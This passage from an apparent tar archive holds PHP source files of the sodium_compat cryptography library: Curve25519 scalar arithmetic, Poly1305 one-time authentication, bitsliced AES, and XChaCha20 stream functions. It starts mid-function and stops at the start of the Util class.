        $s10 -= $carry10 << 21;
        //    carry11 = s11 >> 21;
        //    s12 += carry11;
        //    s11 -= carry11 * ((uint64_t) 1L << 21);
        $carry11 = $s11 >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        //    s0 += s12 * 666643;
        //    s1 += s12 * 470296;
        //    s2 += s12 * 654183;
        //    s3 -= s12 * 997805;
        //    s4 += s12 * 136657;
        //    s5 -= s12 * 683901;
        $s0 += self::mul($s12, 666643, 20);
        $s1 += self::mul($s12, 470296, 19);
        $s2 += self::mul($s12, 654183, 20);
        $s3 -= self::mul($s12, 997805, 20);
        $s4 += self::mul($s12, 136657, 18);
        $s5 -= self::mul($s12, 683901, 20);

        //    carry0 = s0 >> 21;
        //    s1 += carry0;
        //    s0 -= carry0 * ((uint64_t) 1L << 21);
        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        //    carry1 = s1 >> 21;
        //    s2 += carry1;
        //    s1 -= carry1 * ((uint64_t) 1L << 21);
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        //    carry2 = s2 >> 21;
        //    s3 += carry2;
        //    s2 -= carry2 * ((uint64_t) 1L << 21);
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        //    carry3 = s3 >> 21;
        //    s4 += carry3;
        //    s3 -= carry3 * ((uint64_t) 1L << 21);
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        //    carry4 = s4 >> 21;
        //    s5 += carry4;
        //    s4 -= carry4 * ((uint64_t) 1L << 21);
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        //    carry5 = s5 >> 21;
        //    s6 += carry5;
        //    s5 -= carry5 * ((uint64_t) 1L << 21);
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        //    carry6 = s6 >> 21;
        //    s7 += carry6;
        //    s6 -= carry6 * ((uint64_t) 1L << 21);
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        //    carry7 = s7 >> 21;
        //    s8 += carry7;
        //    s7 -= carry7 * ((uint64_t) 1L << 21);
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        //    carry8 = s8 >> 21;
        //    s9 += carry8;
        //    s8 -= carry8 * ((uint64_t) 1L << 21);
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        //    carry9 = s9 >> 21;
        //    s10 += carry9;
        //    s9 -= carry9 * ((uint64_t) 1L << 21);
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        //    carry10 = s10 >> 21;
        //    s11 += carry10;
        //    s10 -= carry10 * ((uint64_t) 1L << 21);
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        $s = array_fill(0, 32, 0);
        // s[0]  = s0 >> 0;
        $s[0]  = $s0 >> 0;
        // s[1]  = s0 >> 8;
        $s[1]  = $s0 >> 8;
        // s[2]  = (s0 >> 16) | (s1 * ((uint64_t) 1 << 5));
        $s[2]  = ($s0 >> 16) | ($s1 << 5);
        // s[3]  = s1 >> 3;
        $s[3]  = $s1 >> 3;
        // s[4]  = s1 >> 11;
        $s[4]  = $s1 >> 11;
        // s[5]  = (s1 >> 19) | (s2 * ((uint64_t) 1 << 2));
        $s[5]  = ($s1 >> 19) | ($s2 << 2);
        // s[6]  = s2 >> 6;
        $s[6]  = $s2 >> 6;
        // s[7]  = (s2 >> 14) | (s3 * ((uint64_t) 1 << 7));
        $s[7]  = ($s2 >> 14) | ($s3 << 7);
        // s[8]  = s3 >> 1;
        $s[8]  = $s3 >> 1;
        // s[9]  = s3 >> 9;
        $s[9]  = $s3 >> 9;
        // s[10] = (s3 >> 17) | (s4 * ((uint64_t) 1 << 4));
        $s[10] = ($s3 >> 17) | ($s4 << 4);
        // s[11] = s4 >> 4;
        $s[11] = $s4 >> 4;
        // s[12] = s4 >> 12;
        $s[12] = $s4 >> 12;
        // s[13] = (s4 >> 20) | (s5 * ((uint64_t) 1 << 1));
        $s[13] = ($s4 >> 20) | ($s5 << 1);
        // s[14] = s5 >> 7;
        $s[14] = $s5 >> 7;
        // s[15] = (s5 >> 15) | (s6 * ((uint64_t) 1 << 6));
        $s[15] = ($s5 >> 15) | ($s6 << 6);
        // s[16] = s6 >> 2;
        $s[16] = $s6 >> 2;
        // s[17] = s6 >> 10;
        $s[17] = $s6 >> 10;
        // s[18] = (s6 >> 18) | (s7 * ((uint64_t) 1 << 3));
        $s[18] = ($s6 >> 18) | ($s7 << 3);
        // s[19] = s7 >> 5;
        $s[19] = $s7 >> 5;
        // s[20] = s7 >> 13;
        $s[20] = $s7 >> 13;
        // s[21] = s8 >> 0;
        $s[21] = $s8 >> 0;
        // s[22] = s8 >> 8;
        $s[22] = $s8 >> 8;
        // s[23] = (s8 >> 16) | (s9 * ((uint64_t) 1 << 5));
        $s[23] = ($s8 >> 16) | ($s9 << 5);
        // s[24] = s9 >> 3;
        $s[24] = $s9 >> 3;
        // s[25] = s9 >> 11;
        $s[25] = $s9 >> 11;
        // s[26] = (s9 >> 19) | (s10 * ((uint64_t) 1 << 2));
        $s[26] = ($s9 >> 19) | ($s10 << 2);
        // s[27] = s10 >> 6;
        $s[27] = $s10 >> 6;
        // s[28] = (s10 >> 14) | (s11 * ((uint64_t) 1 << 7));
        $s[28] = ($s10 >> 14) | ($s11 << 7);
        // s[29] = s11 >> 1;
        $s[29] = $s11 >> 1;
        // s[30] = s11 >> 9;
        $s[30] = $s11 >> 9;
        // s[31] = s11 >> 17;
        $s[31] = $s11 >> 17;
        return self::intArrayToString($s);
    }

    /**
     * @param string $s
     * @return string
     */
    public static function sc25519_sq($s)
    {
        return self::sc25519_mul($s, $s);
    }

    /**
     * @param string $s
     * @param int $n
     * @param string $a
     * @return string
     */
    public static function sc25519_sqmul($s, $n, $a)
    {
        for ($i = 0; $i < $n; ++$i) {
            $s = self::sc25519_sq($s);
        }
        return self::sc25519_mul($s, $a);
    }

    /**
     * @param string $s
     * @return string
     */
    public static function sc25519_invert($s)
    {
        $_10 = self::sc25519_sq($s);
        $_11 = self::sc25519_mul($s, $_10);
        $_100 = self::sc25519_mul($s, $_11);
        $_1000 = self::sc25519_sq($_100);
        $_1010 = self::sc25519_mul($_10, $_1000);
        $_1011 = self::sc25519_mul($s, $_1010);
        $_10000 = self::sc25519_sq($_1000);
        $_10110 = self::sc25519_sq($_1011);
        $_100000 = self::sc25519_mul($_1010, $_10110);
        $_100110 = self::sc25519_mul($_10000, $_10110);
        $_1000000 = self::sc25519_sq($_100000);
        $_1010000 = self::sc25519_mul($_10000, $_1000000);
        $_1010011 = self::sc25519_mul($_11, $_1010000);
        $_1100011 = self::sc25519_mul($_10000, $_1010011);
        $_1100111 = self::sc25519_mul($_100, $_1100011);
        $_1101011 = self::sc25519_mul($_100, $_1100111);
        $_10010011 = self::sc25519_mul($_1000000, $_1010011);
        $_10010111 = self::sc25519_mul($_100, $_10010011);
        $_10111101 = self::sc25519_mul($_100110, $_10010111);
        $_11010011 = self::sc25519_mul($_10110, $_10111101);
        $_11100111 = self::sc25519_mul($_1010000, $_10010111);
        $_11101011 = self::sc25519_mul($_100, $_11100111);
        $_11110101 = self::sc25519_mul($_1010, $_11101011);

        $recip = self::sc25519_mul($_1011, $_11110101);
        $recip = self::sc25519_sqmul($recip, 126, $_1010011);
        $recip = self::sc25519_sqmul($recip, 9, $_10);
        $recip = self::sc25519_mul($recip, $_11110101);
        $recip = self::sc25519_sqmul($recip, 7, $_1100111);
        $recip = self::sc25519_sqmul($recip, 9, $_11110101);
        $recip = self::sc25519_sqmul($recip, 11, $_10111101);
        $recip = self::sc25519_sqmul($recip, 8, $_11100111);
        $recip = self::sc25519_sqmul($recip, 9, $_1101011);
        $recip = self::sc25519_sqmul($recip, 6, $_1011);
        $recip = self::sc25519_sqmul($recip, 14, $_10010011);
        $recip = self::sc25519_sqmul($recip, 10, $_1100011);
        $recip = self::sc25519_sqmul($recip, 9, $_10010111);
        $recip = self::sc25519_sqmul($recip, 10, $_11110101);
        $recip = self::sc25519_sqmul($recip, 8, $_11010011);
        return self::sc25519_sqmul($recip, 8, $_11101011);
    }

    /**
     * @param string $s
     * @return string
     */
    public static function clamp($s)
    {
        $s_ = self::stringToIntArray($s);
        $s_[0] &= 248;
        $s_[31] |= 64;
        $s_[31] &= 127;
        return self::intArrayToString($s_);
    }

    /**
     * Ensure limbs are less than 28 bits long to prevent float promotion.
     *
     * This uses a constant-time conditional swap under the hood.
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_normalize(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $x = (PHP_INT_SIZE << 3) - 1; // 31 or 63

        $g = self::fe_copy($f);
        $e = array(
            $g->e0, $g->e1, $g->e2, $g->e3, $g->e4,
            $g->e5, $g->e6, $g->e7, $g->e8, $g->e9
        );
        for ($i = 0; $i < 10; ++$i) {
            $mask = -(($e[$i] >> $x) & 1);

            /*
             * Get two candidate normalized values for $e[$i], depending on the sign of $e[$i]:
             */
            $a = $e[$i] & 0x7ffffff;
            $b = -((-$e[$i]) & 0x7ffffff);

            /*
             * Return the appropriate candidate value, based on the sign of the original input:
             *
             * The following is equivalent to this ternary:
             *
             * $e[$i] = (($e[$i] >> $x) & 1) ? $a : $b;
             *
             * Except what's written doesn't contain timing leaks.
             */
            $e[$i] = ($a ^ (($a ^ $b) & $mask));
        }
        $g->e0 = $e[0];
        $g->e1 = $e[1];
        $g->e2 = $e[2];
        $g->e3 = $e[3];
        $g->e4 = $e[4];
        $g->e5 = $e[5];
        $g->e6 = $e[6];
        $g->e7 = $e[7];
        $g->e8 = $e[8];
        $g->e9 = $e[9];
        return $g;
    }
}Core/Poly1305.php000064400000003050152222652550007405 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Poly1305', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Poly1305
 */
abstract class ParagonIE_Sodium_Core_Poly1305 extends ParagonIE_Sodium_Core_Util
{
    const BLOCK_SIZE = 16;

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth($m, $key)
    {
        if (self::strlen($key) !== 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            self::substr($key, 0, 32)
        );
        return $state
            ->update($m)
            ->finish();
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $mac
     * @param string $m
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth_verify($mac, $m, $key)
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            self::substr($key, 0, 32)
        );
        $calc = $state
            ->update($m)
            ->finish();
        return self::verify_16($calc, $mac);
    }
}
Core/AES.php000064400000037015152222652550006571 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_AES', false)) {
    return;
}

/**
 * Bitsliced implementation of the AES block cipher.
 *
 * Based on the implementation provided by BearSSL.
 *
 * @internal This should only be used by sodium_compat
 */
class ParagonIE_Sodium_Core_AES extends ParagonIE_Sodium_Core_Util
{
    /**
     * @var int[] AES round constants
     */
    private static $Rcon = array(
        0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36
    );

    /**
     * Mutates the values of $q!
     *
     * @param ParagonIE_Sodium_Core_AES_Block $q
     * @return void
     */
    public static function sbox(ParagonIE_Sodium_Core_AES_Block $q)
    {
        /**
         * @var int $x0
         * @var int $x1
         * @var int $x2
         * @var int $x3
         * @var int $x4
         * @var int $x5
         * @var int $x6
         * @var int $x7
         */
        $x0 = $q[7] & self::U32_MAX;
        $x1 = $q[6] & self::U32_MAX;
        $x2 = $q[5] & self::U32_MAX;
        $x3 = $q[4] & self::U32_MAX;
        $x4 = $q[3] & self::U32_MAX;
        $x5 = $q[2] & self::U32_MAX;
        $x6 = $q[1] & self::U32_MAX;
        $x7 = $q[0] & self::U32_MAX;

        $y14 = $x3 ^ $x5;
        $y13 = $x0 ^ $x6;
        $y9 = $x0 ^ $x3;
        $y8 = $x0 ^ $x5;
        $t0 = $x1 ^ $x2;
        $y1 = $t0 ^ $x7;
        $y4 = $y1 ^ $x3;
        $y12 = $y13 ^ $y14;
        $y2 = $y1 ^ $x0;
        $y5 = $y1 ^ $x6;
        $y3 = $y5 ^ $y8;
        $t1 = $x4 ^ $y12;
        $y15 = $t1 ^ $x5;
        $y20 = $t1 ^ $x1;
        $y6 = $y15 ^ $x7;
        $y10 = $y15 ^ $t0;
        $y11 = $y20 ^ $y9;
        $y7 = $x7 ^ $y11;
        $y17 = $y10 ^ $y11;
        $y19 = $y10 ^ $y8;
        $y16 = $t0 ^ $y11;
        $y21 = $y13 ^ $y16;
        $y18 = $x0 ^ $y16;

        /*
         * Non-linear section.
         */
        $t2 = $y12 & $y15;
        $t3 = $y3 & $y6;
        $t4 = $t3 ^ $t2;
        $t5 = $y4 & $x7;
        $t6 = $t5 ^ $t2;
        $t7 = $y13 & $y16;
        $t8 = $y5 & $y1;
        $t9 = $t8 ^ $t7;
        $t10 = $y2 & $y7;
        $t11 = $t10 ^ $t7;
        $t12 = $y9 & $y11;
        $t13 = $y14 & $y17;
        $t14 = $t13 ^ $t12;
        $t15 = $y8 & $y10;
        $t16 = $t15 ^ $t12;
        $t17 = $t4 ^ $t14;
        $t18 = $t6 ^ $t16;
        $t19 = $t9 ^ $t14;
        $t20 = $t11 ^ $t16;
        $t21 = $t17 ^ $y20;
        $t22 = $t18 ^ $y19;
        $t23 = $t19 ^ $y21;
        $t24 = $t20 ^ $y18;

        $t25 = $t21 ^ $t22;
        $t26 = $t21 & $t23;
        $t27 = $t24 ^ $t26;
        $t28 = $t25 & $t27;
        $t29 = $t28 ^ $t22;
        $t30 = $t23 ^ $t24;
        $t31 = $t22 ^ $t26;
        $t32 = $t31 & $t30;
        $t33 = $t32 ^ $t24;
        $t34 = $t23 ^ $t33;
        $t35 = $t27 ^ $t33;
        $t36 = $t24 & $t35;
        $t37 = $t36 ^ $t34;
        $t38 = $t27 ^ $t36;
        $t39 = $t29 & $t38;
        $t40 = $t25 ^ $t39;

        $t41 = $t40 ^ $t37;
        $t42 = $t29 ^ $t33;
        $t43 = $t29 ^ $t40;
        $t44 = $t33 ^ $t37;
        $t45 = $t42 ^ $t41;
        $z0 = $t44 & $y15;
        $z1 = $t37 & $y6;
        $z2 = $t33 & $x7;
        $z3 = $t43 & $y16;
        $z4 = $t40 & $y1;
        $z5 = $t29 & $y7;
        $z6 = $t42 & $y11;
        $z7 = $t45 & $y17;
        $z8 = $t41 & $y10;
        $z9 = $t44 & $y12;
        $z10 = $t37 & $y3;
        $z11 = $t33 & $y4;
        $z12 = $t43 & $y13;
        $z13 = $t40 & $y5;
        $z14 = $t29 & $y2;
        $z15 = $t42 & $y9;
        $z16 = $t45 & $y14;
        $z17 = $t41 & $y8;

        /*
         * Bottom linear transformation.
         */
        $t46 = $z15 ^ $z16;
        $t47 = $z10 ^ $z11;
        $t48 = $z5 ^ $z13;
        $t49 = $z9 ^ $z10;
        $t50 = $z2 ^ $z12;
        $t51 = $z2 ^ $z5;
        $t52 = $z7 ^ $z8;
        $t53 = $z0 ^ $z3;
        $t54 = $z6 ^ $z7;
        $t55 = $z16 ^ $z17;
        $t56 = $z12 ^ $t48;
        $t57 = $t50 ^ $t53;
        $t58 = $z4 ^ $t46;
        $t59 = $z3 ^ $t54;
        $t60 = $t46 ^ $t57;
        $t61 = $z14 ^ $t57;
        $t62 = $t52 ^ $t58;
        $t63 = $t49 ^ $t58;
        $t64 = $z4 ^ $t59;
        $t65 = $t61 ^ $t62;
        $t66 = $z1 ^ $t63;
        $s0 = $t59 ^ $t63;
        $s6 = $t56 ^ ~$t62;
        $s7 = $t48 ^ ~$t60;
        $t67 = $t64 ^ $t65;
        $s3 = $t53 ^ $t66;
        $s4 = $t51 ^ $t66;
        $s5 = $t47 ^ $t65;
        $s1 = $t64 ^ ~$s3;
        $s2 = $t55 ^ ~$t67;

        $q[7] = $s0 & self::U32_MAX;
        $q[6] = $s1 & self::U32_MAX;
        $q[5] = $s2 & self::U32_MAX;
        $q[4] = $s3 & self::U32_MAX;
        $q[3] = $s4 & self::U32_MAX;
        $q[2] = $s5 & self::U32_MAX;
        $q[1] = $s6 & self::U32_MAX;
        $q[0] = $s7 & self::U32_MAX;
    }

    /**
     * Mutates the values of $q!
     *
     * @param ParagonIE_Sodium_Core_AES_Block $q
     * @return void
     */
    public static function invSbox(ParagonIE_Sodium_Core_AES_Block $q)
    {
        self::processInversion($q);
        self::sbox($q);
        self::processInversion($q);
    }

    /**
     * This is some boilerplate code needed to invert an S-box. Rather than repeat the code
     * twice, I moved it to a protected method.
     *
     * Mutates $q
     *
     * @param ParagonIE_Sodium_Core_AES_Block $q
     * @return void
     */
    protected static function processInversion(ParagonIE_Sodium_Core_AES_Block $q)
    {
        $q0 = (~$q[0]) & self::U32_MAX;
        $q1 = (~$q[1]) & self::U32_MAX;
        $q2 = $q[2] & self::U32_MAX;
        $q3 = $q[3] & self::U32_MAX;
        $q4 = $q[4] & self::U32_MAX;
        $q5 = (~$q[5])  & self::U32_MAX;
        $q6 = (~$q[6])  & self::U32_MAX;
        $q7 = $q[7] & self::U32_MAX;
        $q[7] = ($q1 ^ $q4 ^ $q6) & self::U32_MAX;
        $q[6] = ($q0 ^ $q3 ^ $q5) & self::U32_MAX;
        $q[5] = ($q7 ^ $q2 ^ $q4) & self::U32_MAX;
        $q[4] = ($q6 ^ $q1 ^ $q3) & self::U32_MAX;
        $q[3] = ($q5 ^ $q0 ^ $q2) & self::U32_MAX;
        $q[2] = ($q4 ^ $q7 ^ $q1) & self::U32_MAX;
        $q[1] = ($q3 ^ $q6 ^ $q0) & self::U32_MAX;
        $q[0] = ($q2 ^ $q5 ^ $q7) & self::U32_MAX;
    }

    /**
     * @param int $x
     * @return int
     */
    public static function subWord($x)
    {
        $q = ParagonIE_Sodium_Core_AES_Block::fromArray(
            array($x, $x, $x, $x, $x, $x, $x, $x)
        );
        $q->orthogonalize();
        self::sbox($q);
        $q->orthogonalize();
        return $q[0] & self::U32_MAX;
    }

    /**
     * Calculate the key schedule from a given random key
     *
     * @param string $key
     * @return ParagonIE_Sodium_Core_AES_KeySchedule
     * @throws SodiumException
     */
    public static function keySchedule($key)
    {
        $key_len = self::strlen($key);
        switch ($key_len) {
            case 16:
                $num_rounds = 10;
                break;
            case 24:
                $num_rounds = 12;
                break;
            case 32:
                $num_rounds = 14;
                break;
            default:
                throw new SodiumException('Invalid key length: ' . $key_len);
        }
        $skey = array();
        $comp_skey = array();
        $nk = $key_len >> 2;
        $nkf = ($num_rounds + 1) << 2;
        $tmp = 0;

        for ($i = 0; $i < $nk; ++$i) {
            $tmp = self::load_4(self::substr($key, $i << 2, 4));
            $skey[($i << 1)] = $tmp;
            $skey[($i << 1) + 1] = $tmp;
        }

        for ($i = $nk, $j = 0, $k = 0; $i < $nkf; ++$i) {
            if ($j === 0) {
                $tmp = (($tmp & 0xff) << 24) | ($tmp >> 8);
                $tmp = (self::subWord($tmp) ^ self::$Rcon[$k]) & self::U32_MAX;
            } elseif ($nk > 6 && $j === 4) {
                $tmp = self::subWord($tmp);
            }
            $tmp ^= $skey[($i - $nk) << 1];
            $skey[($i << 1)] = $tmp & self::U32_MAX;
            $skey[($i << 1) + 1] = $tmp & self::U32_MAX;
            if (++$j === $nk) {
                /** @psalm-suppress LoopInvalidation */
                $j = 0;
                ++$k;
            }
        }
        for ($i = 0; $i < $nkf; $i += 4) {
            $q = ParagonIE_Sodium_Core_AES_Block::fromArray(
                array_slice($skey, $i << 1, 8)
            );
            $q->orthogonalize();
            // We have to overwrite $skey since we're not using C pointers like BearSSL did
            for ($j = 0; $j < 8; ++$j) {
                $skey[($i << 1) + $j] = $q[$j];
            }
        }
        for ($i = 0, $j = 0; $i < $nkf; ++$i, $j += 2) {
            $comp_skey[$i] = ($skey[$j] & 0x55555555)
                | ($skey[$j + 1] & 0xAAAAAAAA);
        }
        return new ParagonIE_Sodium_Core_AES_KeySchedule($comp_skey, $num_rounds);
    }

    /**
     * Mutates $q
     *
     * @param ParagonIE_Sodium_Core_AES_KeySchedule $skey
     * @param ParagonIE_Sodium_Core_AES_Block $q
     * @param int $offset
     * @return void
     */
    public static function addRoundKey(
        ParagonIE_Sodium_Core_AES_Block $q,
        ParagonIE_Sodium_Core_AES_KeySchedule $skey,
        $offset = 0
    ) {
        $block = $skey->getRoundKey($offset);
        for ($j = 0; $j < 8; ++$j) {
            $q[$j] = ($q[$j] ^ $block[$j]) & ParagonIE_Sodium_Core_Util::U32_MAX;
        }
    }

    /**
     * This mainly exists for testing, as we need the round key features for AEGIS.
     *
     * @param string $message
     * @param string $key
     * @return string
     * @throws SodiumException
     */
    public static function decryptBlockECB($message, $key)
    {
        if (self::strlen($message) !== 16) {
            throw new SodiumException('decryptBlockECB() expects a 16 byte message');
        }
        $skey = self::keySchedule($key)->expand();
        $q = ParagonIE_Sodium_Core_AES_Block::init();
        $q[0] = self::load_4(self::substr($message, 0, 4));
        $q[2] = self::load_4(self::substr($message, 4, 4));
        $q[4] = self::load_4(self::substr($message, 8, 4));
        $q[6] = self::load_4(self::substr($message, 12, 4));

        $q->orthogonalize();
        self::bitsliceDecryptBlock($skey, $q);
        $q->orthogonalize();

        return self::store32_le($q[0]) .
            self::store32_le($q[2]) .
            self::store32_le($q[4]) .
            self::store32_le($q[6]);
    }

    /**
     * This mainly exists for testing, as we need the round key features for AEGIS.
     *
     * @param string $message
     * @param string $key
     * @return string
     * @throws SodiumException
     */
    public static function encryptBlockECB($message, $key)
    {
        if (self::strlen($message) !== 16) {
            throw new SodiumException('encryptBlockECB() expects a 16 byte message');
        }
        $comp_skey = self::keySchedule($key);
        $skey = $comp_skey->expand();
        $q = ParagonIE_Sodium_Core_AES_Block::init();
        $q[0] = self::load_4(self::substr($message, 0, 4));
        $q[2] = self::load_4(self::substr($message, 4, 4));
        $q[4] = self::load_4(self::substr($message, 8, 4));
        $q[6] = self::load_4(self::substr($message, 12, 4));

        $q->orthogonalize();
        self::bitsliceEncryptBlock($skey, $q);
        $q->orthogonalize();

        return self::store32_le($q[0]) .
            self::store32_le($q[2]) .
            self::store32_le($q[4]) .
            self::store32_le($q[6]);
    }

    /**
     * Mutates $q
     *
     * @param ParagonIE_Sodium_Core_AES_Expanded $skey
     * @param ParagonIE_Sodium_Core_AES_Block $q
     * @return void
     */
    public static function bitsliceEncryptBlock(
        ParagonIE_Sodium_Core_AES_Expanded $skey,
        ParagonIE_Sodium_Core_AES_Block $q
    ) {
        self::addRoundKey($q, $skey);
        for ($u = 1; $u < $skey->getNumRounds(); ++$u) {
            self::sbox($q);
            $q->shiftRows();
            $q->mixColumns();
            self::addRoundKey($q, $skey, ($u << 3));
        }
        self::sbox($q);
        $q->shiftRows();
        self::addRoundKey($q, $skey, ($skey->getNumRounds() << 3));
    }

    /**
     * @param string $x
     * @param string $y
     * @return string
     */
    public static function aesRound($x, $y)
    {
        $q = ParagonIE_Sodium_Core_AES_Block::init();
        $q[0] = self::load_4(self::substr($x, 0, 4));
        $q[2] = self::load_4(self::substr($x, 4, 4));
        $q[4] = self::load_4(self::substr($x, 8, 4));
        $q[6] = self::load_4(self::substr($x, 12, 4));

        $rk = ParagonIE_Sodium_Core_AES_Block::init();
        $rk[0] = $rk[1] = self::load_4(self::substr($y, 0, 4));
        $rk[2] = $rk[3] = self::load_4(self::substr($y, 4, 4));
        $rk[4] = $rk[5] = self::load_4(self::substr($y, 8, 4));
        $rk[6] = $rk[7] = self::load_4(self::substr($y, 12, 4));

        $q->orthogonalize();
        self::sbox($q);
        $q->shiftRows();
        $q->mixColumns();
        $q->orthogonalize();
        // add round key without key schedule:
        for ($i = 0; $i < 8; ++$i) {
            $q[$i] ^= $rk[$i];
        }
        return self::store32_le($q[0]) .
            self::store32_le($q[2]) .
            self::store32_le($q[4]) .
            self::store32_le($q[6]);
    }

    /**
     * Process two AES blocks in one shot.
     *
     * @param string $b0  First AES block
     * @param string $rk0 First round key
     * @param string $b1  Second AES block
     * @param string $rk1 Second round key
     * @return string[]
     */
    public static function doubleRound($b0, $rk0, $b1, $rk1)
    {
        $q = ParagonIE_Sodium_Core_AES_Block::init();
        // First block
        $q[0] = self::load_4(self::substr($b0, 0, 4));
        $q[2] = self::load_4(self::substr($b0, 4, 4));
        $q[4] = self::load_4(self::substr($b0, 8, 4));
        $q[6] = self::load_4(self::substr($b0, 12, 4));
        // Second block
        $q[1] = self::load_4(self::substr($b1, 0, 4));
        $q[3] = self::load_4(self::substr($b1, 4, 4));
        $q[5] = self::load_4(self::substr($b1, 8, 4));
        $q[7] = self::load_4(self::substr($b1, 12, 4));;

        $rk = ParagonIE_Sodium_Core_AES_Block::init();
        // First round key
        $rk[0] = self::load_4(self::substr($rk0, 0, 4));
        $rk[2] = self::load_4(self::substr($rk0, 4, 4));
        $rk[4] = self::load_4(self::substr($rk0, 8, 4));
        $rk[6] = self::load_4(self::substr($rk0, 12, 4));
        // Second round key
        $rk[1] = self::load_4(self::substr($rk1, 0, 4));
        $rk[3] = self::load_4(self::substr($rk1, 4, 4));
        $rk[5] = self::load_4(self::substr($rk1, 8, 4));
        $rk[7] = self::load_4(self::substr($rk1, 12, 4));

        $q->orthogonalize();
        self::sbox($q);
        $q->shiftRows();
        $q->mixColumns();
        $q->orthogonalize();
        // add round key without key schedule:
        for ($i = 0; $i < 8; ++$i) {
            $q[$i] ^= $rk[$i];
        }
        return array(
            self::store32_le($q[0]) . self::store32_le($q[2]) . self::store32_le($q[4]) . self::store32_le($q[6]),
            self::store32_le($q[1]) . self::store32_le($q[3]) . self::store32_le($q[5]) . self::store32_le($q[7]),
        );
    }

    /**
     * @param ParagonIE_Sodium_Core_AES_Expanded $skey
     * @param ParagonIE_Sodium_Core_AES_Block $q
     * @return void
     */
    public static function bitsliceDecryptBlock(
        ParagonIE_Sodium_Core_AES_Expanded $skey,
        ParagonIE_Sodium_Core_AES_Block $q
    ) {
        self::addRoundKey($q, $skey, ($skey->getNumRounds() << 3));
        for ($u = $skey->getNumRounds() - 1; $u > 0; --$u) {
            $q->inverseShiftRows();
            self::invSbox($q);
            self::addRoundKey($q, $skey, ($u << 3));
            $q->inverseMixColumns();
        }
        $q->inverseShiftRows();
        self::invSbox($q);
        self::addRoundKey($q, $skey, ($u << 3));
    }
}
Core/XChaCha20.php000064400000006370152222652550007562 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_XChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_XChaCha20
 */
class ParagonIE_Sodium_Core_XChaCha20 extends ParagonIE_Sodium_Core_HChaCha20
{
    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len, $nonce, $key)
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx(
                self::hChaCha20(
                    self::substr($nonce, 0, 16),
                    $key
                ),
                self::substr($nonce, 16, 8)
            ),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStream($len, $nonce, $key)
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx(
                self::hChaCha20(
                    self::substr($nonce, 0, 16),
                    $key
                ),
                "\x00\x00\x00\x00" . self::substr($nonce, 16, 8)
            ),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce, $key, $ic = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx(
                self::hChaCha20(self::substr($nonce, 0, 16), $key),
                self::substr($nonce, 16, 8),
                $ic
            ),
            $message
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStreamXorIc($message, $nonce, $key, $ic = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx(
                self::hChaCha20(self::substr($nonce, 0, 16), $key),
                "\x00\x00\x00\x00" . self::substr($nonce, 16, 8),
                $ic
            ),
            $message
        );
    }
}
Core/Util.php000064400000070350152222652550007075 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Util', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Util
 */
abstract class ParagonIE_Sodium_Core_Util
